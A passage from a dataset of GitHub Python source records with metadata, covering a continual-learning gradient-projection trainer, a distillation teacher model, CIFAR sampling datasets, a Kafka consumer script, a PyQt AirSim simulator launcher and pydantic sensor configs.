flatten_grads(self.model)\n\n # Run model on replay data\n if x_ is not None:\n # In the Task-IL scenario, [y_] is a list and [x_] needs to be evaluated on each of them\n # (in case of 'exact' or 'exemplar' replay, [x_] is also a list!\n n_replays = len(y_) \n\n # Prepare lists to store losses for each replay\n loss_replay = [] #[None]*n_replays\n acc_replay = []\n\n y_hat_all = self.model(x_)\n task_ids = torch.floor(y_ / self.classes_per_task).long()\n #print(task_ids)\n if scenario == 'task':\n active_indices = torch.arange(self.classes_per_task, dtype=torch.long, device=self.device)\n active_indices1 = active_indices.repeat(len(task_ids), 1)\n active_indices2 = active_indices1 + (task_ids*classes_per_task).unsqueeze(1)\n y_hat = y_hat_all.gather(1, active_indices2)\n y_ = y_ - (task_ids*classes_per_task)\n elif scenario == 'class' or scenario == 'domain':\n y_hat = y_hat_all[:, active_classes]\n\n # Compute loss and accuracy\n loss_replay = self.criterion(y_hat, y_)\n acc_replay = (y_ == y_hat.max(1)[1]).sum().item() / x_.size(0)\n\n # Calculate total replay loss\n loss_replay = None if (x_ is None) else loss_replay #sum(loss_replay) / len(y_)\n acc_replay = None if (x_ is None) else acc_replay #sum(acc_replay) / len(acc_replay)\n\n # calculate and store averaged gradient of replayed data\n if x_ is not None:\n # Perform backward pass to calculate gradient of replayed batch (if not yet done)\n loss_replay.backward()\n # Reorganize the gradient of the replayed batch as a single vector\n grad_ref = flatten_grads(self.model)\n # Check violating direction constraint\n if self._is_violating_direction_constraint(grad_ref, grad_batch):\n #print('violated')\n grad_batch = self._project_grad_vector(grad_ref, grad_batch)\n # Reset gradients (with A-GEM, gradients of replayed batch should only be used as inequality constraint)\n self.optimizer.zero_grad()\n # Assign gradients to model\n self.model = assign_grads(self.model, grad_batch)\n # Take optimization-step\n self.optimizer.step()\n\n # Return the dictionary with different training-loss split in categories\n return {\n 'loss_current': loss_curr.item() if x is not None else 0,\n 'loss_replay': loss_replay.item() if (loss_replay is not None) and (x is not None) else 0,\n 'accuracy': accuracy if accuracy is not None else 0.,\n 'accuracy_replay': acc_replay if acc_replay is not None else 0.,\n }\n\n def _is_violating_direction_constraint(self, grad_ref, grad_batch):\n \"\"\"\n Check if gradient direction have angle less than 90 degrees against reference gradient.\n The gradient vectors have opposite directions when the dot product is negative.\n The gradient vectors are orthogonal if dot product is zero. \n Args:\n grad_ref (torch.Tensor): Reference gradient (i.e., grads on episodic memory) \n grad_batch (torch.Tensor): Batch gradient \n Returns:\n (bool): \n \"\"\"\n return torch.dot(grad_ref, grad_batch) < 0\n\n def _project_grad_vector(self, grad_ref, grad_batch):\n \"\"\"\n projects the proposed gradient from batch to the closest gradient (in squared L2 norm)\n to gradient that keeps the angle within the bound dot(grad_ref, grad_batch) >= 0.\n Eq. 11 in A-GEM paper, Chaudhry etal. (https://arxiv.org/abs/1812.00420)\n Args:\n grad_ref (torch.Tensor): Reference gradient (i.e., grads on episodic memory) \n grad_batch (torch.Tensor): Batch gradient \n Returns:\n (torch.Tensor): Projected gradient\n \"\"\"\n dotp = torch.dot(grad_batch, grad_ref)\n ref_mag = torch.dot(grad_ref, grad_ref)\n return grad_batch - ((dotp / ref_mag) * grad_ref)", "repo_name": "marcusklasson/replay_scheduling", "sub_path": "mcts_single_cl_envs/trainer/rs_extension.py", "file_name": "rs_extension.py", "file_ext": "py", "file_size_in_byte": 14248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "trainer.rs.ReplaySchedulingTrainer", "line_number": 12, "usage_type": "name"}, {"api_name": "trainer.utils.get_data_loader", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.Generator", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 69, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 75, "usage_type": "call"}, {"api_name": "time.time", "line_number": 78, "usage_type": "call"}, {"api_name": "trainer.utils.update_fifo_buffer", "line_number": 155, "usage_type": "call"}, {"api_name": "trainer.utils.flatten_grads", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.floor", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 217, "usage_type": "attribute"}, {"api_name": "trainer.utils.flatten_grads", "line_number": 238, "usage_type": "call"}, {"api_name": "trainer.utils.assign_grads", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 282, "usage_type": "call"}, {"api_name": "torch.dot", "line_number": 283, "usage_type": "call"}]} +{"seq_id": "9561489432", "text": "# coding=utf-8\nimport os\nimport numpy as np\nimport tensorflow as tf\n\nfrom tqdm import tqdm\n\nclass TeacherNet(object):\n\n def __init__(self, args):\n self.args = args\n dir_path = os.path.dirname(__file__)\n model_path= os.path.join(dir_path, self.args.build_path)\n pb_file = os.path.join(build_path, 'model.pb')\n\n with tf.device('/cpu:0'):\n g1 = tf.Graph()\n\n self.sess = tf.Session(graph=g1, config=tf.ConfigProto(device_count={'cpu':0}))\n with self.sess.as_default():\n with g1.as_default():\n with tf.gfile.FastGFile(pb_file, \"rb\") as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n \n #all_tensor = [n.name for n in graph_def.node]\n #for t in all_tensor:\n # print(t)\n self.logits, self.prediction = tf.import_graph_def(graph_def,return_elements=['logits:0', 'prediction:0'])\n\n def infer(self, infer_batch):\n x = self.sess.graph.get_tensor_by_name('import/input/encoder_inputs:0')\n x_len = self.sess.graph.get_tensor_by_name('import/input/Placeholder:0')\n decoder_logits = self.sess.graph.get_tensor_by_name('import/dense/BiasAdd:0')\n \n infer_x, infer_y, infer_x_len = infer_batch\n\n decoder_logits_val = self.sess.run(\n decoder_logits,\n feed_dict={\n x: infer_x,\n x_len: infer_x_len,\n }\n )\n #ground_truth = infer_y.tolist()\n return decoder_logits_val\n \n def preInfer(self, eval_set, tag_name):\n output_file = os.path.join(self.args.build_path, '%s_y_t.bin'%tag_name)\n\n eval_x, eval_y, eval_x_len = eval_set\n sample_num = eval_x.shape[0]\n bs = 8\n\n x = self.sess.graph.get_tensor_by_name('import/input/encoder_inputs:0')\n x_len = self.sess.graph.get_tensor_by_name('import/input/Placeholder:0')\n decoder_logits = self.sess.graph.get_tensor_by_name('import/dense/BiasAdd:0')\n\n all_output = []\n for i in tqdm(range(sample_num//bs)):\n decoder_logits_val = self.sess.run(\n decoder_logits,\n feed_dict={\n x: eval_x[(i*bs):(i*bs+bs)],\n x_len: eval_x_len[(i*bs):(i*bs+bs)],\n }\n )\n\n output_logits = decoder_logits_val.tolist()\n all_output.extend(output_logits)\n\n teacher_logits = np.array(all_output).astype(np.float32)\n teacher_logits.tofile(output_file)\n print(teacher_logits.shape)\n\n\n", "repo_name": "zl007700/KD-Bert", "sub_path": "teacher.py", "file_name": "teacher.py", "file_ext": "py", "file_size_in_byte": 2641, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.device", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.gfile.FastGFile", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.GraphDef", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.import_graph_def", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 72, "usage_type": "attribute"}]} +{"seq_id": "25089915335", "text": "import numpy as np\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nfrom PIL import Image\nfrom .constrastive_datasets import means, stds\nimport os\nimport pickle\n\ndef load_pickle(root, filename):\n filename = os.path.join(root, \n f'{filename}.pickle')\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\ndistill_train_transform_dict = lambda x: {\n \"default\": transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x])]),\n\n \"mocov1\" : transforms.Compose([\n transforms.RandomResizedCrop(224, scale=(0.2, 1.)),\n transforms.RandomGrayscale(p=0.2),\n transforms.ColorJitter(0.4, 0.4, 0.4, 0.4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x])]),\n\n \"mocov1_eval\" : transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x])\n ])\n}\n\ndistill_test_transform_dict = lambda x: {\n \"default\": transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x]),\n ]),\n \"mocov1\": transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x])\n ]),\n\n \"mocov1_eval\" : transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(means[x], stds[x])\n ])\n}\n\n\n\ndef get_distill_trainset(dataset):\n dataset_class = datasets.CIFAR10 if dataset == \"CIFAR10\" else datasets.CIFAR100\n num_classes = 10 if dataset == \"CIFAR10\" else 100\n\n class CIFARInstanceSample(dataset_class):\n \"\"\"\n CIFAR10Instance+Sample Dataset\n \"\"\"\n def __init__(self, root, train=True,\n transform=None, target_transform=None,\n download=False, k=4096, mode='exact', is_sample=True, percent=1.0):\n super().__init__(root=root, train=train, download=download,\n transform=transform, target_transform=target_transform)\n self.k = k\n self.mode = mode\n self.is_sample = is_sample\n self.train_data = self.data\n self.train_labels = self.targets\n if self.train:\n num_samples = len(self.train_data)\n label = self.train_labels\n else:\n num_samples = len(self.test_data)\n label = self.test_labels\n\n self.cls_positive = [[] for i in range(num_classes)]\n for i in range(num_samples):\n self.cls_positive[label[i]].append(i)\n\n self.cls_negative = [[] for i in range(num_classes)]\n for i in range(num_classes):\n for j in range(num_classes):\n if j == i:\n continue\n self.cls_negative[i].extend(self.cls_positive[j])\n\n self.cls_positive = [np.asarray(self.cls_positive[i]) for i in range(num_classes)]\n self.cls_negative = [np.asarray(self.cls_negative[i]) for i in range(num_classes)]\n\n if 0 < percent < 1:\n n = int(len(self.cls_negative[0]) * percent)\n self.cls_negative = [np.random.permutation(self.cls_negative[i])[0:n]\n for i in range(num_classes)]\n\n self.cls_positive = np.asarray(self.cls_positive)\n self.cls_negative = np.asarray(self.cls_negative)\n\n\n def __getitem__(self, index):\n if self.train:\n img, target = self.train_data[index], self.train_labels[index]\n else:\n img, target = self.test_data[index], self.test_labels[index]\n\n # doing this so that it is consistent with all other datasets\n # to return a PIL Image\n img = Image.fromarray(img)\n\n if self.transform is not None:\n img = self.transform(img)\n\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n if not self.is_sample:\n # directly return\n return img, target, index\n else:\n # sample contrastive examples\n if self.mode == 'exact':\n pos_idx = index\n elif self.mode == 'relax':\n pos_idx = np.random.choice(self.cls_positive[target], 1)\n pos_idx = pos_idx[0]\n else:\n raise NotImplementedError(self.mode)\n replace = True if self.k > len(self.cls_negative[target]) else False\n neg_idx = np.random.choice(self.cls_negative[target], self.k, replace=replace)\n sample_idx = np.hstack((np.asarray([pos_idx]), neg_idx))\n return img, target, index, sample_idx\n\n\n return CIFARInstanceSample\n\n\n\ndef get_distill_testset(dataset):\n return datasets.CIFAR10 if dataset == \"CIFAR10\" else datasets.CIFAR100", "repo_name": "Temiloluwa/pcl-ood-detection", "sub_path": "datasets/distill_datasets.py", "file_name": "distill_datasets.py", "file_ext": "py", "file_size_in_byte": 5347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 13, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 16, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 16, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 17, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 17, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 18, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 18, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 19, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 20, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 20, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 23, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 23, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomGrayscale", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 24, "usage_type": "name"}, {"api_name": "torchvision.transforms.ColorJitter", "line_number": 25, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 25, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 26, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 26, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 27, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 27, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 28, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 28, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 28, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 28, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 31, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 33, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 34, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 34, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 34, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 34, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 39, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 40, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 40, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 41, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 41, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 41, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 41, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 43, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 43, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 44, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 44, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 45, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 45, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 46, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 47, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 47, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 47, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 47, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 50, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 50, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 51, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 51, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 52, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 52, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 53, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 54, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 54, "usage_type": "name"}, {"api_name": "constrastive_datasets.means", "line_number": 54, "usage_type": "name"}, {"api_name": "constrastive_datasets.stds", "line_number": 54, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torchvision.datasets", "line_number": 61, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 101, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 105, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 116, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 138, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 147, "usage_type": "attribute"}, {"api_name": "torchvision.datasets", "line_number": 147, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 147, "usage_type": "attribute"}]} +{"seq_id": "40005836121", "text": "import sys\nfrom confluent_kafka import Consumer, TopicPartition\nimport argparse\n\nparser = argparse.ArgumentParser(description='Consume messages from Kafka.')\nparser.add_argument('--topic', dest='topic', default=\"main\",\n help='set the topic to be consumed from (default: main)')\n\nparser.add_argument('--group_id', dest='group_id', default=\"utils-consumer-gid\",\n help='set the group_id that will consume on (default: utils-consumer-gid)')\n\nparser.add_argument('--host', dest='host', default=\"localhost\",\n help='set the host that will consume from (default: utils-consumer-gid)')\n\nparser.add_argument('--port', dest='port', default=\"9092\",\n help='set the port that will consume from (default: 9092)')\n\nparser.add_argument('--start', dest='start', default=\"earliest\",\n help='set the offset that will consume from (default: earliest)')\n\nparser.add_argument('--offset', dest='offset', default=-1,\n help='Start reading from an offset in the topic (default: -1 the tail)')\n\nparser.add_argument('--partition', dest='partition', default=0,\n help='Start reading from an partition in the topic (default: 0)')\n\nargs = parser.parse_args()\n\ntopic = args.topic\ngroup_id = args.group_id\nhost = args.host\nport = args.port\nstart = args.start\npartition = int(args.partition)\nstarting_offset = int(args.offset)\n\nprint(\"Topic: \", topic)\n\nc = Consumer({\n 'bootstrap.servers': '%s:%s' % (host, port),\n 'group.id': group_id,\n 'auto.offset.reset': start,\n 'enable.auto.commit': 'false'\n})\n\nif starting_offset < 0:\n low, high = c.get_watermark_offsets(TopicPartition(topic, partition), cached=False)\n print(\"high\", high)\n starting_offset = high + starting_offset\n if starting_offset < low:\n starting_offset = low\n\nc.assign([TopicPartition(topic, partition, offset=starting_offset)])\n\nwhile True:\n msg = c.poll(1.0)\n if msg is None:\n continue\n if msg.error():\n print(\"Consumer error: {}\".format(msg.error()))\n continue\n\n #print('Message [%d]:\\n' % msg.offset() +'{}'.format(msg.value().decode('utf-8')))\n print('Message [%d] %s:\\t' % (msg.offset(), msg.timestamp()) +'{}'.format(msg.value().decode(\"ISO-8859-1\")), flush=True)\n\n\nc.close()\n", "repo_name": "tickspread/client-bots", "sub_path": "kafka_consumer.py", "file_name": "kafka_consumer.py", "file_ext": "py", "file_size_in_byte": 2318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "confluent_kafka.Consumer", "line_number": 39, "usage_type": "call"}, {"api_name": "confluent_kafka.TopicPartition", "line_number": 47, "usage_type": "call"}, {"api_name": "confluent_kafka.TopicPartition", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "13329595788", "text": "import sys\nimport os\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import uic\n\n# UI파일 연결\n# 단, UI파일은 Python 코드 파일과 같은 디렉토리에 위치해야한다.\nform_class = uic.loadUiType(\"Simulation.ui\")[0]\n\n\n# 화면을 띄우는데 사용되는 Class 선언\nclass WindowClass(QMainWindow, form_class):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.setWindowTitle('Simulation')\n\n # GroupBox안에 있는 RadioButton들을 연결합니다.\n # GroupBox의 자세한 설명은 02.14 GroupBox를 참고하세요.\n self.groupBox_rad_park.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_africa.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_block.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_nh.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_building.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_mt.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_msb.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_trap.clicked.connect(self.groupboxRadFunction)\n self.groupBox_rad_zhang.clicked.connect(self.groupboxRadFunction)\n\n # # 촬영주체 radiobutton\n # self.groupBox_car_cam.clicked.connect(self.tabRadFunction)\n # self.groupBox_ped_cam.clicked.connect(self.tabRadFunction)\n # self.groupBox_drone_cam.clicked.connect(self.tabRadFunction)\n\n def groupboxRadFunction(self):\n if self.groupBox_rad_park.isChecked():\n print(\"groupBox_rad_park Chekced\")\n self.env_path = '/home/aiffel-dj10/Downloads/AbandonedPark/LinuxNoEditor/AbandonedPark/Binaries/Linux/AbandonedPark'\n elif self.groupBox_rad_africa.isChecked():\n print(\"groupBox_rad_africa Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/Africa/LinuxNoEditor/Africa_001/Binaries/Linux/Africa_001'\n elif self.groupBox_rad_block.isChecked():\n print(\"groupBox_rad_block Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/Blocks/LinuxNoEditor/Blocks/Binaries/Linux/Blocks'\n elif self.groupBox_rad_nh.isChecked():\n print(\"groupBox_rad_nh Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/AirSimNH/LinuxNoEditor/AirSimNH/Binaries/Linux/AirSimNH'\n elif self.groupBox_rad_building.isChecked():\n print(\"groupBox_rad_building Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/Building99/LinuxNoEditor/Building_99/Binaries/Linux/Building_99'\n elif self.groupBox_rad_mt.isChecked():\n print(\"groupBox_rad_mt Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/LandscapeMountains/LinuxNoEditor/LandscapeMountains/Binaries/Linux/LandscapeMountains'\n elif self.groupBox_rad_msb.isChecked():\n print(\"groupBox_rad_msb Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/MSBuild2018/LinuxNoEditor/MSBuild2018/Binaries/Linux/MSBuild2018'\n elif self.groupBox_rad_trap.isChecked():\n print(\"groupBox_rad_trap Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/TrapCamera/LinuxNoEditor/TrapCam/Binaries/Linux/TrapCam'\n elif self.groupBox_rad_zhang.isChecked():\n print(\"groupBox_rad_zhang Checked\")\n self.env_path = '/home/aiffel-dj10/Downloads/ZhangJiajie/LinuxNoEditor/ZhangJiajie/Binaries/Linux/ZhangJiajie'\n\n # def tabRadFunction(self):\n # if self.groupBox_car_cam.isChecked():\n # print(\"groupBox_car_cam Chekced\")\n # self.env_path = '/home/aiffel-dj10/Downloads/AbandonedPark/LinuxNoEditor/AbandonedPark/Binaries/Linux/AbandonedPark'\n # elif self.groupBox_ped_cam.isChecked():\n # print(\"groupBox_ped_cam Checked\")\n # self.env_path = '/home/aiffel-dj10/Downloads/Africa/LinuxNoEditor/Africa_001/Binaries/Linux/Africa_001'\n # elif self.groupBox_drone_cam.isChecked():\n # print(\"groupBox_drone_cam Checked\")\n # self.env_path = '/home/aiffel-dj10/Downloads/Blocks/LinuxNoEditor/Blocks/Binaries/Linux/Blocks'\n\n # 버튼에 기능을 연결하는 코드\n self.pushButton.clicked.connect(self.button1Function)\n\n # btn_1이 눌리면 작동할 함수\n def button1Function(self):\n os.system(self.env_path)\n print(\"Sim2Data\")\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n myWindow = WindowClass()\n myWindow.show()\n app.exec_()\n", "repo_name": "IsaacTips/Sim2Data", "sub_path": "Simulation.py", "file_name": "Simulation.py", "file_ext": "py", "file_size_in_byte": 4553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PyQt5.uic.loadUiType", "line_number": 8, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 8, "usage_type": "name"}, {"api_name": "os.system", "line_number": 80, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 85, "usage_type": "attribute"}]} +{"seq_id": "45143884069", "text": "\"\"\"Validate configs with pydantic. Sensor fields are chosen so that\nd -> Device(**d.dict()) is an involution.\"\"\"\n\n\n# cannot use __future__ annotations with pydantic\nfrom typing import List, Union\nfrom pydantic import BaseModel, validator\n\n\nclass AirSensorConfigs(BaseModel):\n sensor_type: str = 'air'\n i2c_address: int\n\n @validator('sensor_type')\n def check_sensor_type(cls, value: str):\n assert value == 'air'\n return value\n\n\nclass DigitalSensorConfigs(BaseModel):\n sensor_type: str = 'digital'\n bcm_pin: int\n header: str\n\n @validator('sensor_type')\n def check_sensor_type(cls, value: str):\n assert value == 'digital'\n return value\n\n\nclass RandomSensorConfigs(BaseModel):\n sensor_type: str = 'random'\n header: str\n\n @validator('sensor_type')\n def check_sensor_type(cls, value: str):\n assert value == 'random'\n return value\n\n\nclass DeviceConfigs(BaseModel):\n \"\"\"A Class holding configuration fields of the device.\"\"\"\n name: str\n sensors: List[Union[AirSensorConfigs,\n DigitalSensorConfigs,\n RandomSensorConfigs]]\n update_interval: int\n\n\ndef random_configs():\n \"\"\"Return a device with a random sensor.\"\"\"\n s1 = RandomSensorConfigs(sensor_type='random', header='random1')\n s2 = RandomSensorConfigs(sensor_type='random', header='random2')\n s3 = RandomSensorConfigs(sensor_type='random', header='random3')\n d = DeviceConfigs(\n name='random sensors',\n sensors=[s1, s2, s3],\n update_interval=1)\n assert d == DeviceConfigs(**d.dict())\n return d\n\n\ndef example_configs():\n \"\"\"Return an example of valid configs as json.\"\"\"\n s1 = AirSensorConfigs(sensor_type='air', i2c_address=0x12)\n s2 = DigitalSensorConfigs(sensor_type='digital',\n bcm_pin=17, header='ir_state')\n s3 = DigitalSensorConfigs(sensor_type='digital',\n bcm_pin=27, header='sound_state')\n d = DeviceConfigs(\n name='example sensors',\n sensors=[s1, s2, s3],\n update_interval=1)\n assert d == DeviceConfigs(**d.dict())\n return d\n", "repo_name": "zebengberg/bairy", "sub_path": "bairy/device/validate.py", "file_name": "validate.py", "file_ext": "py", "file_size_in_byte": 2053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pydantic.BaseModel", "line_number": 10, "usage_type": "name"}, {"api_name": "pydantic.validator", "line_number": 14, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 20, "usage_type": "name"}, {"api_name": "pydantic.validator", "line_number": 25, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 31, "usage_type": "name"}, {"api_name": "pydantic.validator", "line_number": 35, "usage_type": "call"}, 